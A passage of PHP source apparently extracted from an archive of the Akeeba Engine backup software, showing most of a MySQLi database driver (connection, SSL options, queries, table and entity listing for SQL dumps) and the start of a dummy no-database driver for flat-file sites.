	/** @var \mysqli|null The db connection resource */
	protected $connection = '';

	/** @var mysqli_result|null The database connection cursor from the last query. */
	protected $cursor;

	/** @var string Hostname */
	protected $host;

	/**
	 * The character(s) used to quote SQL statement names such as table names or field names,
	 * etc.
	 *
	 * @var    string
	 * @since  11.1
	 */
	protected $nameQuote = '`';

	/**
	 * The null or zero representation of a timestamp for the database driver.
	 *
	 * @var    string
	 * @since  11.1
	 */
	protected $nullDate = '0000-00-00 00:00:00';

	/** @var string Password */
	protected $password;

	protected $port;

	/** @var bool Should I select a database? */
	protected $selectDatabase;

	protected $socket;

	protected $ssl = [];

	/** @var string Username */
	protected $user;

	/** @var bool Are we in the process of reconnecting to the database server? */
	private $isReconnecting = false;

	/** @var array|null A cache of the tables contained in the currently connected database */
	public $tablesCache = null;

	/**
	 * Database object constructor
	 *
	 * @param   array  $options  List of options used to configure the connection
	 */
	public function __construct($options)
	{
		$this->driverType = 'mysql';

		// Init
		$this->nameQuote = '`';

		$options['ssl'] = $options['ssl'] ?? [];
		$options['ssl'] = is_array($options['ssl']) ? $options['ssl'] : [];

		$options['ssl']['enable']             = ($options['ssl']['enable'] ?? $options['dbencryption'] ?? false) ?: false;
		$options['ssl']['cipher']             = ($options['ssl']['cipher'] ?? $options['dbsslcipher'] ?? null) ?: null;
		$options['ssl']['ca']                 = ($options['ssl']['ca'] ?? $options['dbsslca'] ?? null) ?: null;
		$options['ssl']['capath']             = ($options['ssl']['capath'] ?? $options['dbsslcapath'] ?? null) ?: null;
		$options['ssl']['key']                = ($options['ssl']['key'] ?? $options['dbsslkey'] ?? null) ?: null;
		$options['ssl']['cert']               = ($options['ssl']['cert'] ?? $options['dbsslcert'] ?? null) ?: null;
		$options['ssl']['verify_server_cert'] = ($options['ssl']['verify_server_cert'] ?? $options['dbsslverifyservercert'] ?? false) ?: false;

		// Figure out if a port is included in the host name
		$this->fixHostnamePortSocket($options['host'], $options['port'], $options['socket']);

		// Set the information
		$this->host           = $options['host'] ?? 'localhost';
		$this->user           = $options['user'] ?? '';
		$this->password       = $options['password'] ?? '';
		$this->port           = $options['port'] ?? '';
		$this->socket         = $options['socket'] ?? '';
		$this->_database      = $options['database'] ?? '';
		$this->selectDatabase = $options['select'] ?? true;
		$this->ssl            = $options['ssl'] ?? [];

		// Finalize initialization.
		parent::__construct($options);

		// Open the connection.
		$this->open();
	}

	/**
	 * Test to see if the MySQL connector is available.
	 *
	 * @return  boolean  True on success, false otherwise.
	 */
	public static function isSupported()
	{
		return (function_exists('mysqli_connect'));
	}

	public function close()
	{
		$return = false;

		if (is_object($this->cursor) && ($this->cursor instanceof mysqli_result))
		{
			try
			{
				@$this->cursor->free();
			}
			catch (\Throwable $e)
			{
			}

			$this->cursor = null;
		}

		if (is_object($this->connection) && ($this->connection instanceof \mysqli))
		{
			try
			{
				$return = @$this->connection->close();
			}
			catch (\Throwable $e)
			{
				$return = false;
			}
		}

		$this->connection = null;

		return $return;
	}

	/**
	 * Determines if the connection to the server is active.
	 *
	 * @return  boolean  True if connected to the database engine.
	 */
	public function connected()
	{
		if (!is_object($this->connection))
		{
			return false;
		}

		// mysqli_ping is deprecated since PHP 8.4.
		if (version_compare(PHP_VERSION, '8.4.0', '<'))
		{
			try
			{
				return @mysqli_ping($this->connection);
			}
			catch (\Throwable $e)
			{
				return false;
			}
		}

		try
		{
			$cursor = @mysqli_query($this->connection, 'SELECT 1');

			if (!$cursor)
			{
				return false;
			}

			mysqli_free_result($cursor);

			return true;
		}
		catch (\Throwable $e)
		{
			return false;
		}
	}

	/**
	 * Drops a table from the database.
	 *
	 * @param   string   $tableName  The name of the database table to drop.
	 * @param   boolean  $ifExists   Optionally specify that the table must exist before it is dropped.
	 *
	 * @return  Mysqli  Returns this object to support chaining.
	 */
	public function dropTable($tableName, $ifExists = true)
	{
		$query = $this->getQuery(true);

		$this->setQuery('DROP TABLE ' . ($ifExists ? 'IF EXISTS ' : '') . $query->quoteName($tableName));

		$this->query();

		return $this;
	}

	/**
	 * Method to escape a string for usage in an SQL statement.
	 *
	 * @param   string   $text   The string to be escaped.
	 * @param   boolean  $extra  Optional parameter to provide extra escaping.
	 *
	 * @return  string  The escaped string.
	 */
	public function escape($text, $extra = false)
	{
		if (is_null($text))
		{
			return 'NULL';
		}

		$result = @mysqli_real_escape_string($this->getConnection(), $text);

		if ($result === false)
		{
			// Attempt to reconnect.
			try
			{
				$this->connection = null;
				$this->open();

				$result = @mysqli_real_escape_string($this->getConnection(), $text);;
			}
			catch (RuntimeException $e)
			{
				$result = $this->unsafe_escape($text);
			}
		}

		if ($extra)
		{
			$result = addcslashes($result, '%_');
		}

		return $result;
	}

	/**
	 * Method to fetch a row from the result set cursor as an associative array.
	 *
	 * @param   mixed  $cursor  The optional result set cursor from which to fetch the row.
	 *
	 * @return  mixed  Either the next row from the result set or false if there are no more rows.
	 */
	public function fetchAssoc($cursor = null)
	{
		return mysqli_fetch_assoc($cursor ?: $this->cursor);
	}

	/**
	 * Method to free up the memory used for the result set.
	 *
	 * @param   mixed  $cursor  The optional result set cursor from which to fetch the row.
	 *
	 * @return  void
	 */
	public function freeResult($cursor = null)
	{
		mysqli_free_result($cursor ?: $this->cursor);
	}

	/**
	 * Get the number of affected rows for the previous executed SQL statement.
	 *
	 * @return  integer  The number of affected rows.
	 */
	public function getAffectedRows()
	{
		return mysqli_affected_rows($this->connection);
	}

	/**
	 * Method to get the database collation in use by sampling a text field of a table in the database.
	 *
	 * @return  mixed  The collation in use by the database (string) or boolean false if not supported.
	 */
	public function getCollation()
	{
		$this->setQuery('SHOW FULL COLUMNS FROM #__ak_stats');
		$array = $this->loadAssocList();

		return $array['2']['Collation'];
	}

	/**
	 * Get the number of returned rows for the previous executed SQL statement.
	 *
	 * @param   mysqli_result  $cursor  An optional database cursor resource to extract the row count from.
	 *
	 * @return  integer   The number of returned rows.
	 */
	public function getNumRows($cursor = null)
	{
		return mysqli_num_rows($cursor ?: $this->cursor);
	}

	/**
	 * Get the current or query, or new JDatabaseQuery object.
	 *
	 * @param   boolean  $new  False to return the last query set, True to return a new JDatabaseQuery object.
	 *
	 * @return  mixed  The current value of the internal SQL variable or a new JDatabaseQuery object.
	 */
	public function getQuery($new = false)
	{
		if ($new)
		{
			return new QueryMysqli($this);
		}
		else
		{
			return $this->sql;
		}
	}

	public function createQuery()
	{
		return new QueryMysqli($this);
	}

	/**
	 * Retrieves field information about a given table.
	 *
	 * @param   string   $table     The name of the database table.
	 * @param   boolean  $typeOnly  True to only return field types.
	 *
	 * @return  array  An array of fields for the database table.
	 */
	public function getTableColumns($table, $typeOnly = true)
	{
		$result = [];

		// Set the query to get the table fields statement.
		$this->setQuery('SHOW FULL COLUMNS FROM ' . $this->quoteName($this->escape($table)));
		$fields = $this->loadObjectList();

		// If we only want the type as the value add just that to the list.
		if ($typeOnly)
		{
			foreach ($fields as $field)
			{
				$result[$field->Field] = preg_replace("/[(0-9)]/", '', $field->Type);
			}
		}
		// If we want the whole field data object add that to the list.
		else
		{
			foreach ($fields as $field)
			{
				$result[$field->Field] = $field;
			}
		}

		return $result;
	}

	/**
	 * Shows the table CREATE statement that creates the given tables.
	 *
	 * @param   mixed  $tables  A table name or a list of table names.
	 *
	 * @return  array  A list of the create SQL for the tables.
	 */
	public function getTableCreate($tables)
	{
		// Initialise variables.
		$result = [];

		// Sanitize input to an array and iterate over the list.
		$tables = (array) $tables;
		foreach ($tables as $table)
		{
			// Set the query to get the table CREATE statement.
			$this->setQuery('SHOW CREATE table ' . $this->quoteName($this->escape($table)));
			$row = $this->loadRow();

			// Populate the result array based on the create statements.
			$result[$table] = $row[1];
		}

		return $result;
	}

	/**
	 * Get the details list of keys for a table.
	 *
	 * @param   string  $table  The name of the table.
	 *
	 * @return  array  An array of the column specification for the table.
	 */
	public function getTableKeys($table)
	{
		// Get the details columns information.
		$this->setQuery('SHOW KEYS FROM ' . $this->quoteName($table));
		$keys = $this->loadObjectList();

		return $keys;
	}

	/**
	 * Method to get an array of all tables in the database.
	 *
	 * @return  array  An array of all the tables in the database.
	 */
	public function getTableList()
	{
		// Set the query to get the tables statement.
		$this->setQuery('SHOW TABLES');
		$tables = $this->loadColumn();

		return $tables;
	}

	/**
	 * Returns an array with the names of tables, views, procedures, functions and triggers
	 * in the database. The table names are the keys of the tables, whereas the value is
	 * the type of each element: table, view, merge, temp, procedure, function or trigger.
	 * Note that merge are MRG_MYISAM tables and temp is non-permanent data table, usually
	 * set up as temporary, black hole or federated tables. These two types should never,
	 * ever, have their data dumped in the SQL dump file.
	 *
	 * @param   bool  $abstract  Return abstract or normal names? Defaults to true (abstract names)
	 *
	 * @return array
	 */
	public function getTables($abstract = true)
	{
		if (!empty($this->tablesCache[$this->_database]))
		{
			return $this->tablesCache[$this->_database];
		}

		$sql = "SHOW TABLES";
		$this->setQuery($sql);
		$all_tables = $this->loadColumn();

		if (!empty($all_tables))
		{
			// Start by adding tables and views to the list
			foreach ($all_tables as $table_name)
			{
				if ($abstract)
				{
					$table_name = $this->getAbstract($table_name);
				}
				$this->tablesCache[$this->_database][$table_name] = 'table';
			}

			// Loop all metadatas
			foreach ($all_tables as $table_metadata)
			{
				$table_name     = $table_metadata;
				$table_abstract = $this->getAbstract($table_metadata);
				$type           = 'table';

				if ($abstract)
				{
					$table_metadata = $table_abstract;
				}

				$create = $this->get_create($table_abstract, $table_name, $type);
				// Scan for the table engine.
				$engine = null; // So that we detect VIEWs correctly

				if ($type == 'table')
				{
					$engine      = 'MyISAM'; // So that even with MySQL 4 hosts we don't screw this up
					$engine_keys = ['ENGINE=', 'TYPE='];
					foreach ($engine_keys as $engine_key)
					{
						$start_pos = strrpos($create, $engine_key);
						if ($start_pos !== false)
						{
							// Advance the start position just after the position of the ENGINE keyword
							$start_pos += strlen($engine_key);
							// Try to locate the space after the engine type
							$end_pos = stripos($create, ' ', $start_pos);
							if ($end_pos === false)
							{
								// Uh... maybe it ends with ENGINE=EngineType;
								$end_pos = stripos($create, ';');
							}
							if ($end_pos !== '')
							{
								// Grab the string
								$engine = substr($create, $start_pos, $end_pos - $start_pos);
							}
						}
					}
					$engine = strtoupper($engine);
				}

				switch ($engine)
				{
					// Views -- FIX: They are detected based on their CREATE STATEMENT
					case null:
						$this->tablesCache[$this->_database][$table_metadata] = 'view';
						break;

					// Merge tables
					case 'MRG_MYISAM':
						$this->tablesCache[$this->_database][$table_metadata] = 'merge';
						break;

					// Tables whose data we do not back up (memory, federated and can-have-no-data tables)
					case 'MEMORY':
					case 'EXAMPLE':
					case 'BLACKHOLE':
					case 'FEDERATED':
						$this->tablesCache[$this->_database][$table_metadata] = 'temp';
						break;

					// Normal tables
					default:
						break;
				} // switch
			} // foreach
		} // if !empty

		// If we have MySQL > 5.0 add the list of stored procedures, stored functions
		// and triggers
		$registry        = Factory::getConfiguration();
		$enable_entities = $registry->get('engine.dump.native.advanced_entitites', true);
		if ($enable_entities)
		{
			// 1. Stored procedures
			$sql = "SHOW PROCEDURE STATUS WHERE " . $this->quoteName('Db') . "=" . $this->quote($this->_database);
			$this->setQuery($sql);

			try
			{
				$all_entries = $this->loadAssocList();
			}
			catch (Exception $e)
			{
				$all_entries = [];
			}

			if (is_array($all_entries) || $all_entries instanceof \Countable ? count($all_entries) : 0)
			{
				foreach ($all_entries as $entry)
				{
					$table_name = $entry['Name'];
					if ($abstract)
					{
						$table_name = $this->getAbstract($table_name);
					}
					$this->tablesCache[$this->_database][$table_name] = 'procedure';
				}
			}

			// 2. Stored functions
			$sql = "SHOW FUNCTION STATUS WHERE " . $this->quoteName('Db') . "=" . $this->quote($this->_database);
			$this->setQuery($sql);

			try
			{
				$all_entries = $this->loadColumn(1);
			}
			catch (Exception $e)
			{
				$all_entries = [];
			}

			// If we have filters, make sure the tables pass the filtering
			if (is_array($all_entries))
			{
				if (count($all_entries))
				{
					foreach ($all_entries as $table_name)
					{
						if ($abstract)
						{
							$table_name = $this->getAbstract($table_name);
						}
						$this->tablesCache[$this->_database][$table_name] = 'function';
					}
				}
			}

			// 3. Triggers
			$sql = "SHOW TRIGGERS";
			$this->setQuery($sql);

			try
			{
				$all_entries = $this->loadColumn();
			}
			catch (Exception $e)
			{
				$all_entries = [];
			}

			// If we have filters, make sure the tables pass the filtering
			if (is_array($all_entries))
			{
				if (count($all_entries))
				{
					foreach ($all_entries as $table_name)
					{
						if ($abstract)
						{
							$table_name = $this->getAbstract($table_name);
						}
						$this->tablesCache[$this->_database][$table_name] = 'trigger';
					}
				}
			}

		}

		return $this->tablesCache[$this->_database];
	}

	/**
	 * Get the version of the database connector.
	 *
	 * @return  string  The database connector version.
	 */
	public function getVersion()
	{
		return mysqli_get_server_info($this->connection);
	}

	/**
	 * Determines if the database engine supports UTF-8 character encoding.
	 *
	 * @return  boolean  True if supported.
	 */
	public function hasUTF()
	{
		$mariadb = stripos($this->connection->server_info, 'mariadb') !== false;
		$client_version = mysqli_get_client_info();
		$server_version = $this->getVersion();

		if (version_compare($server_version, '5.5.3', '<'))
		{
			return false;
		}

		if ($mariadb && version_compare($server_version, '10.0.0', '<'))
		{
			return false;
		}

		if (strpos($client_version, 'mysqlnd') !== false)
		{
			$client_version = preg_replace('/^\D+([\d.]+).*/', '$1', $client_version);

			return version_compare($client_version, '5.0.9', '>=');
		}

		return version_compare($client_version, '5.5.3', '>=');
	}

	/**
	 * Method to get the auto-incremented value from the last INSERT statement.
	 *
	 * @return  integer  The value of the auto-increment field from the last inserted row.
	 */
	public function insertid()
	{
		return mysqli_insert_id($this->connection);
	}

	/**
	 * Locks a table in the database.
	 *
	 * @param   string  $table  The name of the table to unlock.
	 *
	 * @return  Mysqli  Returns this object to support chaining.
	 */
	public function lockTable($table)
	{
		$this->setQuery('LOCK TABLES ' . $this->quoteName($table) . ' WRITE')->query();

		return $this;
	}

	public function open()
	{
		if ($this->connected())
		{
			return;
		}
		else
		{
			$this->close();
		}

		// perform a number of fatality checks, then return gracefully
		if (!function_exists('mysqli_connect'))
		{
			$this->errorNum = 1;
			$this->errorMsg = 'The MySQL adapter "mysqli" is not available.';

			return;
		}

		// Let's prepare a connection
		$this->connection = mysqli_init();

		$connectionFlags = 0;

		// For SSL/TLS connection encryption.
		if ($this->ssl !== [] && $this->ssl['enable'] === true)
		{
			$connectionFlags = $connectionFlags | MYSQLI_CLIENT_SSL;

			// Verify server certificate is only available in PHP 5.6.16+. See https://www.php.net/ChangeLog-5.php#5.6.16
			if (isset($this->ssl['verify_server_cert']))
			{
				// New constants in PHP 5.6.16+. See https://www.php.net/ChangeLog-5.php#5.6.16
				if ($this->ssl['verify_server_cert'] === true && defined('MYSQLI_CLIENT_SSL_VERIFY_SERVER_CERT'))
				{
					$connectionFlags = $connectionFlags | MYSQLI_CLIENT_SSL_VERIFY_SERVER_CERT;
				}
				elseif ($this->ssl['verify_server_cert'] === false && defined('MYSQLI_CLIENT_SSL_DONT_VERIFY_SERVER_CERT'))
				{
					$connectionFlags = $connectionFlags | MYSQLI_CLIENT_SSL_DONT_VERIFY_SERVER_CERT;
				}
				elseif (defined('MYSQLI_OPT_SSL_VERIFY_SERVER_CERT'))
				{
					$this->connection->options(MYSQLI_OPT_SSL_VERIFY_SERVER_CERT, $this->ssl['verify_server_cert']);
				}
			}

			// Add SSL/TLS options only if changed.
			$this->connection->ssl_set(
				($this->ssl['key'] ?? null) ?: null,
				($this->ssl['cert'] ?? null) ?: null,
				($this->ssl['ca'] ?? null) ?: null,
				($this->ssl['capath'] ?? null) ?: null,
				($this->ssl['cipher'] ?? null) ?: null
			);
		}

		// Attempt to connect to the server, use error suppression to silence warnings and allow us to throw an Exception separately.
		try
		{
			$connected = @$this->connection->real_connect(
				$this->host,
				$this->user,
				$this->password ?: null,
				null,
				$this->port ?: 3306,
				$this->socket ?: null,
				$connectionFlags
			);
		}
		catch (\Throwable $e)
		{
			$connected = false;
		}

		// connect to the server
		if (!$connected)
		{
			$this->errorNum = 2;
			$this->errorMsg = 'Could not connect to MySQL';

			return;
		}

		// Set sql_mode to non_strict mode
		mysqli_query($this->connection, "SET @@SESSION.sql_mode = '';");

		if ($this->selectDatabase && !empty($this->_database))
		{
			if (!$this->select($this->_database))
			{
				$this->errorNum = 3;
				$this->errorMsg = "Cannot select database {$this->_database}";

				return;
			}
		}

		$this->setUTF();
	}

	/**
	 * Execute the SQL statement.
	 *
	 * @return  mixed  A database cursor resource on success, boolean false on failure.
	 */
	public function query()
	{
		$this->open();

		if (!is_object($this->connection))
		{
			throw new RuntimeException($this->errorMsg, $this->errorNum);
		}

		// Take a local copy so that we don't modify the original query and cause issues later
		$query = $this->replacePrefix((string) $this->sql);
		if ($this->limit > 0 || $this->offset > 0)
		{
			$query .= ' LIMIT ' . $this->offset . ', ' . $this->limit;
		}

		// Increment the query counter.
		$this->count++;

		// If debugging is enabled then let's log the query.
		if ($this->debug)
		{
			// Add the query to the object queue.
			$this->log[] = $query;
		}

		// Reset the error values.
		$this->errorNum = 0;
		$this->errorMsg = '';

		// Execute the query. Error suppression is used here to prevent warnings/notices that the connection has been lost.
		$this->cursor = @mysqli_query($this->connection, $query);

		// If an error occurred handle it.
		if (!$this->cursor)
		{
			$this->errorNum = 0;
			$this->errorMsg = '';

			if ($this->connection)
			{
				$this->errorNum = (int) @mysqli_errno($this->connection);
				$this->errorMsg = (string) @mysqli_error($this->connection) . ' SQL=' . $query;
			}

			// Check if the server was disconnected.
			if (!$this->connected() && !$this->isReconnecting)
			{
				$this->isReconnecting = true;

				try
				{
					// Attempt to reconnect.
					$this->connection = null;
					$this->open();
				}
					// If connect fails, ignore that exception and throw the normal exception.
				catch (RuntimeException $e)
				{
					throw new RuntimeException($this->errorMsg, $this->errorNum);
				}

				// Since we were able to reconnect, run the query again.
				$result               = $this->query();
				$this->isReconnecting = false;

				return $result;
			}
			// The server was not disconnected.
			elseif ($this->errorNum != 0)
			{
				throw new RuntimeException($this->errorMsg, $this->errorNum);
			}
		}

		return $this->cursor;
	}

	/**
	 * Renames a table in the database.
	 *
	 * @param   string  $oldTable  The name of the table to be renamed
	 * @param   string  $newTable  The new name for the table.
	 * @param   string  $backup    Not used by MySQL.
	 * @param   string  $prefix    Not used by MySQL.
	 *
	 * @return  Mysqli  Returns this object to support chaining.
	 */
	public function renameTable($oldTable, $newTable, $backup = null, $prefix = null)
	{
		$this->setQuery('RENAME TABLE ' . $oldTable . ' TO ' . $newTable)->query();

		return $this;
	}

	/**
	 * Select a database for use.
	 *
	 * @param   string  $database  The name of the database to select for use.
	 *
	 * @return  boolean  True if the database was successfully selected.
	 */
	public function select($database)
	{
		if (!$database)
		{
			return false;
		}

		if (!mysqli_select_db($this->connection, $database))
		{
			return false;
		}

		return true;
	}

	/**
	 * Set the connection to use UTF-8 character encoding.
	 *
	 * @return  boolean  True on success.
	 */
	public function setUTF()
	{
		$result = false;

		if ($this->supportsUtf8mb4())
		{
			$result = @mysqli_set_charset($this->connection, 'utf8mb4');
		}

		if (!$result)
		{
			$result = @mysqli_set_charset($this->connection, 'utf8');
		}

		return $result;

	}

	/**
	 * Method to commit a transaction.
	 *
	 * @return  void
	 */
	public function transactionCommit()
	{
		$this->setQuery('COMMIT');
		$this->execute();
	}

	/**
	 * Method to roll back a transaction.
	 *
	 * @return  void
	 */
	public function transactionRollback()
	{
		$this->setQuery('ROLLBACK');
		$this->execute();
	}

	/**
	 * Method to initialize a transaction.
	 *
	 * @return  void
	 */
	public function transactionStart()
	{
		$this->setQuery('START TRANSACTION');
		$this->execute();
	}

	/**
	 * Unlocks tables in the database.
	 *
	 * @return  Mysqli  Returns this object to support chaining.
	 *
	 * @throws  Exception
	 * @since   11.4
	 */
	public function unlockTables()
	{
		$this->setQuery('UNLOCK TABLES')->execute();

		return $this;
	}

	/**
	 * Method to fetch a row from the result set cursor as an array.
	 *
	 * @param   mixed  $cursor  The optional result set cursor from which to fetch the row.
	 *
	 * @return  mixed  Either the next row from the result set or false if there are no more rows.
	 */
	protected function fetchArray($cursor = null)
	{
		return mysqli_fetch_row($cursor ?: $this->cursor);
	}

	/**
	 * Method to fetch a row from the result set cursor as an object.
	 *
	 * @param   mixed   $cursor  The optional result set cursor from which to fetch the row.
	 * @param   string  $class   The class name to use for the returned row object.
	 *
	 * @return  mixed   Either the next row from the result set or false if there are no more rows.
	 */
	protected function fetchObject($cursor = null, $class = 'stdClass')
	{
		return mysqli_fetch_object($cursor ?: $this->cursor, $class);
	}

	/**
	 * Gets the CREATE TABLE command for a given table/view
	 *
	 * @param   string  $table_abstract  The abstracted name of the entity
	 * @param   string  $table_name      The name of the table
	 * @param   string  $type            The type of the entity to scan. If it's found to differ, the correct type is
	 *                                   returned.
	 *
	 * @return string The CREATE command, w/out newlines
	 */
	protected function get_create($table_abstract, $table_name, &$type)
	{
		$sql = "SHOW CREATE TABLE " . $this->quoteName($table_name);
		$this->setQuery($sql);
		$temp      = $this->loadRowList();
		$table_sql = $temp[0][1];
		unset($temp);

		// Smart table type detection
		if (in_array($type, ['table', 'merge', 'view']))
		{
			// Check for CREATE VIEW
			$pattern = '/^CREATE(.*) VIEW (.*)/i';
			$result  = preg_match($pattern, $table_sql);
			if ($result === 1)
			{
				// This is a view.
				$type = 'view';
			}
			else
			{
				// This is a table.
				$type = 'table';
			}

			// Is it a VIEW but we don't have SHOW VIEW privileges?
			if (empty($table_sql))
			{
				$type = 'view';
			}
		}

		$table_sql = str_replace($table_name, $table_abstract, $table_sql);

		// Replace newlines with spaces
		$table_sql = str_replace("\n", " ", $table_sql) . ";\n";
		$table_sql = str_replace("\r", " ", $table_sql);
		$table_sql = str_replace("\t", " ", $table_sql);

		// Post-process CREATE VIEW
		if ($type == 'view')
		{
			$pos_view = strpos($table_sql, ' VIEW ');

			if ($pos_view > 7)
			{
				// Only post process if there are view properties between the CREATE and VIEW keywords
				$propstring = substr($table_sql, 7, $pos_view - 7); // Properties string
				// Fetch the ALGORITHM={UNDEFINED | MERGE | TEMPTABLE} keyword
				$algostring = '';
				$algo_start = strpos($propstring, 'ALGORITHM=');
				if ($algo_start !== false)
				{
					$algo_end   = strpos($propstring, ' ', $algo_start);
					$algostring = substr($propstring, $algo_start, $algo_end - $algo_start + 1);
				}
				// Create our modified create statement
				$table_sql = 'CREATE OR REPLACE ' . $algostring . substr($table_sql, $pos_view);
			}
		}

		return $table_sql;
	}

	/**
	 * Does this database server support UTF-8 four byte (utf8mb4) collation?
	 *
	 * libmysql supports utf8mb4 since 5.5.3 (same version as the MySQL server). mysqlnd supports utf8mb4 since 5.0.9.
	 *
	 * This method's code is based on WordPress' wpdb::has_cap() method
	 *
	 * @return  bool
	 */
	public function supportsUtf8mb4()
	{
		$client_version = mysqli_get_client_info();

		if (strpos($client_version, 'mysqlnd') !== false)
		{
			$client_version = preg_replace('/^\D+([\d.]+).*/', '$1', $client_version);

			return version_compare($client_version, '5.0.9', '>=');
		}
		else
		{
			return version_compare($client_version, '5.5.3', '>=');
		}
	}

	protected function unsafe_escape($string)
	{
		if (function_exists('mb_ereg_replace'))
		{
			return mb_ereg_replace('[\x00\x0A\x0D\x1A\x22\x27\x5C]', '\\\0', $string);
		}

		return preg_replace('~[\x00\x0A\x0D\x1A\x22\x27\x5C]~u', '\\\$0', $string);
	}
}
PK     \­T#  T#  +  vendor/akeeba/engine/engine/Driver/None.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Driver\Query\Base as QueryBase;

/**
 * Dummy driver class for flat-file CMS
 */
#[\AllowDynamicProperties]
class None extends Base
{
	public static $dbtech = 'none';
	/**
	 * The name of the database driver.
	 *
	 * @var    string
	 * @since  1.0
	 */
	public $name = 'none';

	public function __construct(array $options)
	{
		$this->driverType = 'none';

		parent::__construct($options);
	}

	/**
	 * Test to see if this db driver is available
	 *
	 * @return  boolean  True on success, false otherwise.
	 *
	 * @since   1.0
	 */
	public static function isSupported()
	{
		return true;
	}

	public function open()
	{
		return $this;
	}

	/**
	 * Closes the database connection
	 */
	public function close()
	{
		return;
	}

	/**
	 * Determines if the connection to the server is active.
	 *
	 * @return  boolean  True if connected to the database engine.
	 */
	public function connected()
	{
		return true;
	}

	/**
	 * Drops a table from the database.
	 *
	 * @param   string   $table     The name of the database table to drop.
	 * @param   boolean  $ifExists  Optionally specify that the table must exist before it is dropped.
	 *
	 * @return  Base  Returns this object to support chaining.
	 */
	public function dropTable($table, $ifExists = true)
	{
		return $this;
	}

	/**
	 * Method to escape a string for usage in an SQL statement.
	 *
	 * @param   string   $text   The string to be escaped.
	 * @param   boolean  $extra  Optional parameter to provide extra escaping.
	 *
	 * @return  string   The escaped string.
	 */
	public function escape($text, $extra = false)
	{
		return '';
	}

	/**
	 * Method to fetch a row from the result set cursor as an associative array.
	 *
	 * @param   mixed  $cursor  The optional result set cursor from which to fetch the row.
	 *
	 * @return  mixed  Either the next row from the result set or false if there are no more rows.
	 */
	public function fetchAssoc($cursor = null)
	{
		return false;
	}

	/**
	 * Method to free up the memory used for the result set.
	 *
	 * @param   mixed  $cursor  The optional result set cursor from which to fetch the row.
	 *
	 * @return  void
	 */
	public function freeResult($cursor = null)
	{
		return;
	}

	/**
	 * Get the number of affected rows for the previous executed SQL statement.
	 *
	 * @return  integer  The number of affected rows.
	 */
	public function getAffectedRows()
	{
		return 0;
	}

	/**
	 * Method to get the database collation in use by sampling a text field of a table in the database.
	 *
	 * @return  mixed  The collation in use by the database or boolean false if not supported.
	 */
	public function getCollation()
	{
		return false;
	}

	/**
	 * Get the number of returned rows for the previous executed SQL statement.
	 *
	 * @param   resource  $cursor  An optional database cursor resource to extract the row count from.
	 *
	 * @return  integer   The number of returned rows.
	 */
	public function getNumRows($cursor = null)
	{
		return 0;
	}

	/**
	 * Get the current query object or a new QueryBase object.
	 *
	 * @param   boolean  $new  False to return the current query object, True to return a new QueryBase object.
	 *
	 * @return  QueryBase  The current query object or a new object extending the QueryBase class.
	 */
	public function getQuery($new = false)
	{
		return $this->sql;
	}

	public function createQuery()
	{
		return $this->sql;
	}

	/**
	 * Retrieves field information about the given tables.
	 *
	 * @param   string   $table     The name of the database table.
	 * @param   boolean  $typeOnly  True (default) to only return field types.
	 *
	 * @return  array  An array of fields by table.
	 */
	public function getTableColumns($table, $typeOnly = true)
	{
		return [];
	}

	/**
	 * Shows the table CREATE statement that creates the given tables.
	 *
	 * @param   mixed  $tables  A table name or a list of table names.
	 *
	 * @return  array  A list of the create SQL for the tables.
	 */
	public function getTableCreate($tables)
	{
		return [];
	}

	/**
	 * Retrieves field information about the given tables.
	 *
	 * @param   mixed  $tables  A table name or a list of table names.
	 *
	 * @return  array  An array of keys for the table(s).
	 */
	public function getTableKeys($tables)
	{
		return [];
	}

	/**
	 * Method to get an array of all tables in the database.
	 *
	 * @return  array  An array of all the tables in the database.
	 */
	public function getTableList()
	{
		return [];
	}

	/**
	 * Returns an array with the names of tables, views, procedures, functions and triggers
	 * in the database. The table names are the keys of the tables, whereas the value is
	 * the type of each element: table, view, merge, temp, procedure, function or trigger.
	 * Note that merge are MRG_MYISAM tables and temp is non-permanent data table, usually
	 * set up as temporary, black hole or federated tables. These two types should never,
	 * ever, have their data dumped in the SQL dump file.
	 *
	 * @param   bool  $abstract  Return or normal names? Defaults to true (names)
	 *
	 * @return  array
	 */
	public function getTables($abstract = true)
	{
		return [];
	}

	/**
	 * Get the version of the database connector
	 *
	 * @return  string  The database connector version.
	 */
	public function getVersion()
	{
		return '0.0.0';
	}

	/**
	 * Method to get the auto-incremented value from the last INSERT statement.
	 *
	 * @return  integer  The value of the auto-increment field from the last inserted row.
	 */
	public function insertid()
	{
		return 0;
	}

	/**
	 * Locks a table in the database.
	 *
	 * @param   string  $tableName  The name of the table to unlock.
	 *
	 * @return  Base  Returns this object to support chaining.
	 */
	public function lockTable($tableName)
	{
		return $this;
	}

	/**
	 * Execute the SQL statement.
	 *
	 * @return  mixed  A database cursor resource on success, boolean false on failure.
	 */
	public function query()
	{
		return false;
	}

	/**
	 * Renames a table in the database.
	 *
	 * @param   string  $oldTable  The name of the table to be renamed
	 * @param   string  $newTable  The new name for the table.
	 * @param   string  $backup    Table prefix
	 * @param   string  $prefix    For the table - used to rename constraints in non-mysql databases
	 *
	 * @return  Base  Returns this object to support chaining.
	 */
	public function renameTable($oldTable, $newTable, $backup = null, $prefix = null)
	{
		return $this;
	}

	/**
	 * Select a database for use.
	 *
	 * @param   string  $database  The name of the database to select for use.
	 *
	 * @return  boolean  True if the database was successfully selected.
	 */
	public function select($database)
	{
		return true;
	}

	/**
	 * Set the connection to use UTF-8 character encoding.
	 *
	 * @return  boolean  True on success.
	 */
	public function setUTF()
	{
		return true;
	}

	/**
	 * Method to commit a transaction.
	 *
	 * @return  void
	 */
	public function transactionCommit()
	{
		return;
	}

	/**
	 * Method to roll back a transaction.
	 *
	 * @return  void
	 */
	public function transactionRollback()
	{
		return;
	}

	/**
	 * Method to initialize a transaction.
	 *
	 * @return  void
	 */
	public function transactionStart()
	{
		return;
	}

	/**
	 * Unlocks tables in the database.
	 *
